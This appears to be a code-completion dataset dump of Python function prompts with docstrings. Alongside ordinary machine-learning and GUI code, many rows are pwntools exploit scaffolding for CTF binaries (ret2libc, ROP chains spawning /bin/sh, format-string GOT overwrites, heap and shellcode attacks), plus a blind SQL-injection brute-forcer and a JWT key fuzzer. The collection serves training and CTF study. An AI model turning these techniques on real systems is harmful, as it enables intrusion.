id int64 0 190k | prompt stringlengths 21 13.4M | docstring stringlengths 1 12k ⌀ |
|---|---|---|
14,431 | import numpy as np
import torch
from einops.einops import rearrange
from torch.nn import functional as F
The provided code snippet includes necessary dependencies for implementing the `cam_crop2full` function. Write a Python function `def cam_crop2full(crop_cam, center, scale, full_img_shape, focal_length)` to solve t... | convert the camera parameters from the crop camera to the full camera. :param crop_cam: shape=(N, 3) weak perspective camera in cropped img coordinates (s, tx, ty) :param center: shape=(N, 2) bbox coordinates (c_x, c_y) :param scale: shape=(N, 1) square bbox resolution (b / 200) :param full_img_shape: shape=(N, 2) orig... |
14,432 | import numpy as np
import torch
from einops.einops import rearrange
from torch.nn import functional as F
def quat_to_rotmat(quat):
"""Convert quaternion coefficients to rotation matrix.
Args:
quat: size = [B, 4] 4 <===>(w, x, y, z)
Returns:
Rotation matrix corresponding to the quaternion -- ... | Compute the twist component of given rotation and twist axis https://stackoverflow.com/questions/3684269/component-of-a-quaternion-rotation-around-an-axis Parameters ---------- rotation_matrix : Tensor (B, 3, 3,) The rotation to convert twist_axis : Tensor (B, 3,) The twist axis Returns ------- Tensor (B, 3, 3) The twi... |
14,433 | import argparse
import copy
import os
import os.path as osp
import time
import mmcv
import torch
from mmcv import Config, DictAction
from mmcv.runner import get_dist_info, init_dist
from mmhuman3d import __version__
from mmhuman3d.apis import set_random_seed, train_model
from mmhuman3d.data.datasets import build_datase... | null |
14,434 | import argparse
import os
import time
import mmcv
import numpy as np
import torch
from mmhuman3d.core.conventions.keypoints_mapping import convert_kps
from mmhuman3d.core.evaluation import keypoint_mpjpe
from mmhuman3d.core.visualization.visualize_smpl import visualize_smpl_pose
from mmhuman3d.data.data_structures.huma... | null |
14,435 | import argparse
import os
from mmhuman3d.data.data_converters import build_data_converter
DATASET_CONFIGS = dict(
agora=dict(
type='AgoraConverter', modes=['train', 'validation'], fit='smplx'),
amass=dict(type='AmassConverter', prefix='AMASS_file'),
coco=dict(type='CocoConverter'),
coco_wholebod... | null |
14,436 | import argparse
import subprocess
from datetime import date
import torch
def parse_args():
parser = argparse.ArgumentParser(
description='Process a checkpoint to be published')
parser.add_argument('in_file', help='input checkpoint filename')
parser.add_argument('out_file', help='output checkpoint f... | null |
14,437 | import argparse
import subprocess
from datetime import date
import torch
def process_checkpoint(in_file, out_file):
checkpoint = torch.load(in_file, map_location='cpu')
# remove optimizer for smaller file size
if 'optimizer' in checkpoint:
del checkpoint['optimizer']
# if it is necessary to rem... | null |
14,438 | import sys
import os
from PyQt6.QtCore import pyqtSignal
from PyQt6.QtWidgets import QApplication, QMainWindow, QFileDialog, QMessageBox
from PIL import Image, ImageFont, ImageQt
from handright import Template, handwrite
from threading import Thread
from ui import *
def getfile():
q = QFileDialog.getOpenFileName()... | null |
14,439 | import sys
import os
from PyQt6.QtCore import pyqtSignal
from PyQt6.QtWidgets import QApplication, QMainWindow, QFileDialog, QMessageBox
from PIL import Image, ImageFont, ImageQt
from handright import Template, handwrite
from threading import Thread
from ui import *
def savefile():
q = QFileDialog.getSaveFileName(... | null |
14,440 | import os
import sys
import click
import subprocess
import tempfile
import itertools as IT
import select
from time import sleep
def uniquify(path, sep = ''):
def name_sequence():
count = IT.count()
yield ''
while True:
yield '{s}_{n:d}'.format(s = sep, n = next(count))
orig ... | null |
14,441 | import os
import sys
import click
import subprocess
import tempfile
import itertools as IT
import select
from time import sleep
def shouldRun():
click.secho('Will run analysis in 1 second, press any key to cancel', fg='green')
i, o, e = select.select( [sys.stdin], [], [], 1 )
if (i):
return False
... | null |
14,442 | from pwn import *
gdbscript = '''
init-pwndbg
break main
'''.format(**locals())
exe = './shooting_star'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[... | null |
14,443 | from pwn import *
exe = './shooting_star'
info("%#x pop_rdi", pop_rdi)
info("%#x pop_rsi_r15", pop_rsi_r15)
info("leaked got_write: %#x", got_write)
info("libc_base: %#x", libc_base)
info("system_addr: %#x", system_addr)
info("bin_sh: %#x", bin_sh)
def find_ip(payload):
# Launch process and send payload
p = pr... | null |
14,445 | from pwn import *
exe = './shooting_star'
info("%#x pop_rsi_r15", pop_rsi_r15)
info("leaked got_write: %#x", got_write)
info("libc_base: %#x", libc.address)
def find_ip(payload):
# Launch process and send payload
p = process(exe)
p.sendlineafter('>', '1')
p.sendlineafter('>>', payload)
# Wait for t... | null |
14,446 | from pwn import *
gdbscript = '''
init-pwndbg
break main
continue
'''.format(**locals())
exe = './blacksmith'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys... | null |
14,447 | from pwn import *
gdbscript = '''
init-pwndbg
breakrva 0x0000131f
continue
'''.format(**locals())
exe = './batcomputer'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return ... | null |
14,448 | from pwn import *
exe = './batcomputer'
info("leaked stack_addr: %#x", stack_addr)
def find_ip(payload):
p = process(exe)
p.sendlineafter('>', '2') # Chase joker
p.sendlineafter('Enter the password:', 'b4tp@$$w0rd!') # Enter password
p.sendlineafter('Enter the navigation commands:', payload) # Cycli... | null |
14,449 | from pwn import *
gdbscript = '''
init-pwndbg
piebase
breakrva 0x1438
continue
'''.format(**locals())
exe = './nightmare'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
retur... | null |
14,451 | from pwn import *
io = process(exe)
menu_option = '1'
io = start()
menu_option = '2'
menu_option = '1'
io.send('1')
io.recv()
io.sendline('2')
io.recv()
io.sendline('sh')
io.interactive()
def send_payload(payload):
io.sendlineafter('>', menu_option)
io.sendlineafter('>', payload)
io.recvuntil('> ')
... | null |
14,452 | from pwn import *
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './vuln'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.arg... | null |
14,453 | from pwn import *
exe = './vuln'
def find_ip(payload):
# Launch process and send payload
p = process(exe)
p.sendlineafter(b'>', payload)
# Wait for the process to crash
p.wait()
# Print out the address of EIP/RIP at the time of crashing
# ip_offset = cyclic_find(p.corefile.pc) # x86
ip... | null |
14,454 | from pwn import *
gdbscript = '''
init-pwndbg
piebase 0x40c0
continue
'''.format(**locals())
exe = './pwnshop'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sy... | null |
14,455 | from pwn import *
exe = './pwnshop'
info("leaked_address: %#x", leaked_addr)
info("pie_base: %#x", elf.address)
info("got_puts: %#x", got_puts)
info("libc_base: %#x", libc_base)
info("system_addr: %#x", system_addr)
info("bin_sh: %#x", bin_sh)
def find_ip(payload):
# Launch process and send payload
p = process... | null |
14,457 | from pwn import *
exe = './pwnshop'
info("leaked_address: %#x", leaked_addr)
info("pie_base: %#x", elf.address)
info("got_puts: %#x", got_puts)
info("libc_base: %#x", libc.address)
def find_ip(payload):
# Launch process and send payload
p = process(exe)
p.sendlineafter('>', '1') # Try to buy something
... | null |
14,458 | from pwn import *
gdbscript = '''
init-pwndbg
breakrva 0x00001368
continue
'''.format(**locals())
exe = './optimistic'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return r... | null |
14,459 | from pwn import *
exe = './optimistic'
info("leaked stack_addr: %#x", stack_addr)
def find_ip(payload):
# Launch process and send payload
p = process(exe)
p.sendlineafter(':', 'y') # Yes, we want to enrol
p.sendlineafter('Email:', '420') # Provide email address - only reads 8 bytes
p.sendlineafte... | null |
14,460 | from pwn import *
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './format'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.a... | null |
14,462 | from pwn import *
gdbscript = '''
init-pwndbg
break main
continue
'''.format(**locals())
exe = './ropme'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv... | null |
14,463 | from pwn import *
exe = './ropme'
info("leaked got_puts: %#x", got_puts)
info("libc_base: %#x", libc.address)
def find_ip(payload):
# Launch process and send payload
p = process(exe)
p.sendlineafter('?', payload)
# Wait for the process to crash
p.wait()
# Print out the address of EIP/RIP at the... | null |
14,465 | from pwn import *
exe = './ropme'
info("leaked got_puts: %#x", got_puts)
info("libc_base: %#x", libc_base)
info("system_addr: %#x", system_addr)
info("bin_sh: %#x", bin_sh)
def find_ip(payload):
# Launch process and send payload
p = process(exe)
p.sendlineafter('?', payload)
# Wait for the process to c... | null |
14,466 | from pwn import *
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './htb-console'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], ... | null |
14,467 | from pwn import *
exe = './htb-console'
def find_ip(payload):
# Launch process and send payload
p = process(exe)
p.sendlineafter('>>', 'flag')
p.sendlineafter('Enter flag:', payload)
# Wait for the process to crash
p.wait()
# Print out the address of EIP/RIP at the time of crashing
# ip... | null |
14,470 | from pwn import *
exe = './reg'
def find_eip(payload):
# Launch process and send payload
p = process(exe)
p.sendlineafter('Enter your name :', payload)
# Wait for the process to crash
p.wait()
# Print out the address of EIP/RIP at the time of crashing
eip_offset = cyclic_find(p.corefile.rea... | null |
14,471 | from pwn import *
import codecs
gdbscript = '''
init-pwndbg
break *0x401168
continue
'''.format(**locals())
exe = './ropmev2'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
r... | null |
14,472 | from pwn import *
import codecs
def rot13(s): return codecs.getencoder("rot-13")(s)[0]
exe = './ropmev2'
info("leaked_address: %#x", leaked_addr)
def find_ip(payload):
# Launch process and send payload
p = process(exe)
p.sendlineafter('Please dont hack me', payload)
# Wait for the process to crash
... | null |
14,474 | from pwn import *
import codecs
def rot13(s):
exe = './ropmev2'
info("leaked_address: %#x", leaked_addr)
def find_ip(payload):
# Launch process and send payload
p = process(exe)
p.sendlineafter('Please dont hack me', payload)
# Wait for the process to crash
p.wait()
# Print out the address of E... | null |
14,475 | from pwn import *
exe = './jeeves'
def find_eip(payload):
# Launch process and send payload
p = process(exe)
p.sendlineafter('Hello, good sir!', payload)
# Wait for the process to crash
p.wait()
# Print out the address of EIP/RIP at the time of crashing
eip_offset = cyclic_find(p.corefile.r... | null |
14,476 | from pwn import *
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './chall'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.ar... | null |
14,477 | from pwn import *
import requests
import re
from itertools import cycle
import logging
def sql_inject(sqli_pt1, variable, sqli_pt2):
def guess_len(guess_type, sqli_pt1, sqli_pt2):
# Guess length of DB name, table count etc
for i in range(1, 100):
# Submit SQLi string
response = sql_inject(sqli_... | null |
14,478 | from pwn import *
import requests
import re
from itertools import cycle
import logging
def sql_inject(sqli_pt1, variable, sqli_pt2):
def guess_name(guess_type, sqli_pt1, sqli_pt2, name_len, min_char_initial, max_char_initial):
name = ""
for i in range(1, name_len + 1):
# Need to reset all these after w... | null |
14,479 | import jwt
import base64
secret_key = "intigriti"
print(f"Original token: {token}\n")
print(f"\nModified token: {modified_token}\n")
def verify_token(token):
try:
decoded_token = jwt.decode(token, secret_key, algorithms=["HS256"])
print("Verification Result: Token is valid.")
except jwt.excepti... | null |
14,480 | import jwt
jwt_token = 'INSERT_TOKEN_HERE'
def attempt_fuzzing(secret_key, algorithm):
try:
decoded = jwt.decode(jwt_token, secret_key, algorithms=[algorithm])
print(f"Valid key found: {secret_key}")
print(f"Decoded payload: {decoded}")
return True
except jwt.InvalidSignatureErro... | null |
14,481 | from pwn import *
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './stack_ret2win'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1]... | null |
14,482 | from pwn import *
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './stack_changeme'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1... | null |
14,483 | from pwn import *
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './stack_changeme2'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[... | null |
14,484 | from pwn import *
gdbscript = '''
init-pwndbg
break *0x401148
continue
'''.format(**locals())
exe = './stack_shellcode'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return ... | null |
14,485 | from pwn import *
exe = './stack_shellcode'
def find_ip(payload):
# Launch process and send payload
p = process(exe)
p.recvline()
p.sendline(payload)
# Wait for the process to crash
p.wait()
# Print out the address of EIP/RIP at the time of crashing
# ip_offset = cyclic_find(p.corefile.... | null |
14,486 | from pwn import *
from os import environb as env
gdbscript = '''
init-pwndbg
b *main
b *greet+140
continue
'''.format(**locals())
exe = './stack_int-overflow'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE... | null |
14,487 | from pwn import *
from os import environ as env
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './stack_overwrite-env'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port... | null |
14,488 | from pwn import *
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './stack_overwrite-function-pointers'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
retur... | null |
14,489 | from pwn import *
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './heap_ret2win'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1],... | null |
14,490 | from pwn import *
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './heap_overwrite'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1... | null |
14,491 | from pwn import *
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './heap_use-after-free'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.a... | null |
14,492 | from pwn import *
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = '/opt/phoenix/i486/heap-three'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remot... | null |
14,493 | from pwn import *
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './secureserver'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1],... | null |
14,496 | from pwn import *
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './ret2win_params'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1... | null |
14,497 | from pwn import *
exe = './ret2win_params'
def find_ip(payload):
# Launch process and send payload
p = process(exe)
p.sendlineafter(b':', payload)
# Wait for the process to crash
p.wait()
# Print out the address of EIP/RIP at the time of crashing
ip_offset = cyclic_find(p.corefile.pc) # x8... | null |
14,501 | from pwn import *
exe = './ret2win_params'
def find_ip(payload):
# Launch process and send payload
p = process(exe)
p.sendlineafter(b':', payload)
# Wait for the process to crash
p.wait()
# Print out the address of EIP/RIP at the time of crashing
# ip_offset = cyclic_find(p.corefile.pc) # ... | null |
14,504 | from pwn import *
gdbscript = '''
init-pwndbg
break *0x0804921f
break *0x08049253
break *0x0804925e
continue
'''.format(**locals())
exe = './canary'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('ser... | null |
14,505 | from pwn import *
gdbscript = '''
init-pwndbg
piebase
continue
'''.format(**locals())
exe = './pie_server'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.ar... | null |
14,506 | from pwn import *
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './pie_server'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], s... | null |
14,509 | from pwn import *
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './ret2win'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.... | null |
14,511 | from pwn import *
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './server'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.a... | null |
14,513 | from pwn import *
from pwnlib.fmtstr import FmtStr, fmtstr_split, fmtstr_payload
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './got_overwrite'
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.... | null |
14,514 | from pwn import *
from pwnlib.fmtstr import FmtStr, fmtstr_split, fmtstr_payload
io = start()
io.sendline(b'/bin/sh')
io.interactive()
def send_payload(payload):
io.sendline(payload)
return io.recvline() | null |
14,515 | from pwn import *
gdbscript = '''
init-peda
continue
'''.format(**locals())
exe = './split32'
def start(argv=[], *a, **kw):
# Start the exploit against the target
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw) | null |
14,516 | from pwn import *
gdbscript = '''
init-peda
continue
'''.format(**locals())
exe = './split'
def start(argv=[], *a, **kw):
# Start the exploit against the target
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw) | null |
14,517 | from pwn import *
gdbscript = '''
init-peda
continue
'''.format(**locals())
exe = './write432'
def start(argv=[], *a, **kw):
# Start the exploit against the target
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw) | null |
14,518 | from pwn import *
info("%#x data_section_address", data_section_address)
info("%#x pop_edi_pop_ebp", pop_edi_pop_ebp)
info("%#x mov_edi_ebp", mov_edi_ebp)
info("%#x print_file", print_file)
eip_offset = find_eip(100, start())
payload = flat(
asm('nop') * eip_offset, # Offset - 44 bytes
pop_edi_pop_ebp, # Pop ... | null |
14,519 | from pwn import *
gdbscript = '''
init-peda
continue
'''.format(**locals())
exe = './write4'
def start(argv=[], *a, **kw):
# Start the exploit against the target
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw) | null |
14,520 | from pwn import *
info("%#x data_section_address", data_section_address)
info("%#x pop_r14_pop_r15", pop_r14_pop_r15)
info("%#x mov_r14_r15", mov_r14_r15)
info("%#x print_file", print_file)
payload = flat(
asm('nop') * eip_offset, # Offset - 44 bytes
pop_r14_pop_r15, # Pop .data (1) location into r14 and 4 by... | null |
14,522 | from pwn import *
exe = './vuln'
def find_ip(payload):
# Launch process and send payload
p = process(exe, level='warn')
p.sendlineafter(b'>', payload)
# Wait for the process to crash
p.wait()
# Print out the address of EIP/RIP at the time of crashing
# ip_offset = cyclic_find(p.corefile.pc)... | null |
14,523 | from pwn import *
gdbscript = '''
init-peda
continue
'''.format(**locals())
exe = './fluff32'
def start(argv=[], *a, **kw):
# Start the exploit against the target
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw) | null |
14,524 | from pwn import *
exe = './fluff32'
eip_offset = find_eip(cyclic(100))
info("%#x data_section_address", data_section_address)
info("%#x pop_ebp", pop_ebp)
info("%#x mov eax, ebp; mov ebx, 0xb0bababa; pext edx, ebx, eax; mov eax, 0xdeadbeef; ret;", long_pext_gadget)
info("%#x pop ecx; bswap ecx; ret;", bswap_ecx)
info("... | null |
14,525 | from pwn import *
gdbscript = '''
init-peda
continue
'''.format(**locals())
exe = './fluff'
def start(argv=[], *a, **kw):
# Start the exploit against the target
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw) | null |
14,526 | from pwn import *
exe = './fluff'
info("%#x data_section_address", data_section_address)
info("%#x pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;", bextr_rbx_rcx_rdx)
info("%#x xlat BYTE PTR ds:[rbx]; ret;", xlatb)
info("%#x pop rdi; ret;", pop_rdi)
info("%#x stosb byte ptr [rdi], al; ret;", stosb_rdi_al)... | null |
14,527 | from pwn import *
gdbscript = '''
init-peda
continue
'''.format(**locals())
exe = './ret2win32'
def start(argv=[], *a, **kw):
# Start the exploit against the target
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw) | null |
14,528 | from pwn import *
gdbscript = '''
init-peda
break
'''.format(**locals())
exe = './ret2win'
def start(argv=[], *a, **kw):
# Start the exploit against the target
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw) | null |
14,529 | from pwn import *
gdbscript = '''
init-gef
break *0x08048547
'''.format(**locals())
exe = './badchars32'
def start(argv=[], *a, **kw):
# Start the exploit against the target
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **k... | null |
14,530 | from pwn import *
exe = './badchars32'
eip_offset = find_eip(cyclic(100, alphabet='bcdefhijk'))
info(io.recvline_contains('badchars are'))
info("%#x data_section_address", data_section_address)
info("%#x pop_esi_pop_edi_pop_ebp", pop_esi_pop_edi_pop_ebp)
info("%#x mov_edi_esi", mov_edi_esi)
info("%#x pop_ebp", pop_ebp)... | null |
14,531 | from pwn import *
gdbscript = '''
init-gef
break print_file
'''.format(**locals())
exe = './badchars32'
def start(argv=[], *a, **kw):
# Start the exploit against the target
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw... | null |
14,532 | from pwn import *
exe = './badchars32'
eip_offset = find_eip(cyclic(100, alphabet='bcdefhijk'))
info(io.recvline_contains('badchars are'))
info("%#x data_section_address", data_section_address)
info("%#x pop_esi_pop_edi_pop_ebp", pop_esi_pop_edi_pop_ebp)
info("%#x print_file", print_file)
info("flag.txt XORd with %d: %... | null |
14,533 | from pwn import *
gdbscript = '''
init-gef
continue
'''.format(**locals())
exe = './badchars'
def start(argv=[], *a, **kw):
# Start the exploit against the target
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw) | null |
14,534 | from pwn import *
exe = './badchars'
info(io.recvline_contains('badchars are'))
info("%#x data_section_address", data_section_address)
info("%#x pop_r12_r13_r14_r15", pop_r12_r13_r14_r15)
info("%#x mov_r13_r12", mov_r13_r12)
info("%#x pop_r14_r15", pop_r14_r15)
info("%#x xor_r15_r14", xor_r15_r14)
info("%#x pop_rdi", p... | null |
14,536 | from pwn import *
exe = './badchars'
info(io.recvline_contains('badchars are'))
info("%#x data_section_address", data_section_address)
info("%#x pop_r12_r13_r14_r15", pop_r12_r13_r14_r15)
info("%#x mov_r13_r12", mov_r13_r12)
info("%#x pop_rdi", pop_rdi)
info("%#x print_file", print_file)
info("flag.txt XORd with %d: %s... | null |
14,537 | from pwn import *
gdbscript = '''
init-peda
continue
'''.format(**locals())
exe = './ret2csu'
def start(argv=[], *a, **kw):
# Start the exploit against the target
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw) | null |
14,538 | from pwn import *
exe = './ret2csu'
info("%#x ret2win", ret2win)
info("%#x pop rdi; ret", pop_rdi)
info("%#x pop rbp; pop rbx; pop r12; pop r13; pop r14; pop r15; ret", pop_rbx_rbp_r12_r13_r14_r15)
info("%#x mov rdx, r15; mov rsi, r14; mov edi, r13, call QWORD PTR [r12+rbx*8]; ret", csu_mov)
def find_eip(payload):
... | null |
14,539 | from pwn import *
gdbscript = '''
init-peda
continue
'''.format(**locals())
exe = './callme32'
def start(argv=[], *a, **kw):
# Start the exploit against the target
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw) | null |
14,540 | from pwn import *
gdbscript = '''
init-peda
continue
'''.format(**locals())
exe = './callme'
def start(argv=[], *a, **kw):
# Start the exploit against the target
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw) | null |
14,541 | from pwn import *
import re
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './pivot32'
def start(argv=[], *a, **kw):
# Start the exploit against the target
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **... | null |
14,542 | from pwn import *
import re
exe = './pivot32'
eip_offset = find_eip(cyclic(100))
info("foothold_plt: %#x", foothold_plt)
info("foothold_got: %#x", foothold_got)
info("puts_plt: %#x", puts_plt)
info("pivot_addr: %#x", pivot_addr)
info("foothold_offset: %#x", foothold_offset)
info("ret2win_offset: %#x", ret2win_offset)
i... | null |
14,543 | from pwn import *
import re
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './pivot'
def start(argv=[], *a, **kw):
# Start the exploit against the target
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw... | null |
14,544 | from pwn import *
import re
exe = './pivot'
info("foothold_plt: %#x", foothold_plt)
info("foothold_got: %#x", foothold_got)
info("puts_plt: %#x", puts_plt)
info("pivot_addr: %#x", pivot_addr)
info("foothold_offset: %#x", foothold_offset)
info("ret2win_offset: %#x", ret2win_offset)
info("pop rdi; ret; %#x", pop_rdi)
inf... | null |
14,547 | from pytorch_lightning import LightningModule, Callback, Trainer
from pytorch_lightning import seed_everything
from pytorch_lightning.loggers import LightningLoggerBase
import hydra
from omegaconf import DictConfig
from typing import List
from src.utils import template_utils as utils
import warnings
def train(config: ... | null |
14,548 | import os.path as osp
import time
import cv2
import torch
import numpy as np
from src.utils.colmap.read_write_model import read_model
from src.utils.data_utils import get_K_crop_resize, get_image_crop_resize
from src.utils.vis_utils import reproj
def pack_extract_data(img_path):
image = cv2.imread(img_path, cv2.IM... | null |
14,549 | import os.path as osp
import time
import cv2
import torch
import numpy as np
from src.utils.colmap.read_write_model import read_model
from src.utils.data_utils import get_K_crop_resize, get_image_crop_resize
from src.utils.vis_utils import reproj
def pack_match_data(db_detection, query_detection, db_size, query_size):... | null |
14,550 | from pytorch_lightning.loggers import WandbLogger
import wandb
from pytorch_lightning import Callback
import pytorch_lightning as pl
import torch
from sklearn.metrics import precision_score, recall_score, f1_score
from typing import List
import glob
import os
def get_wandb_logger(trainer: pl.Trainer) -> WandbLogger:
... | null |
14,551 | import os
import logging
import subprocess
import os.path as osp
from pathlib import Path
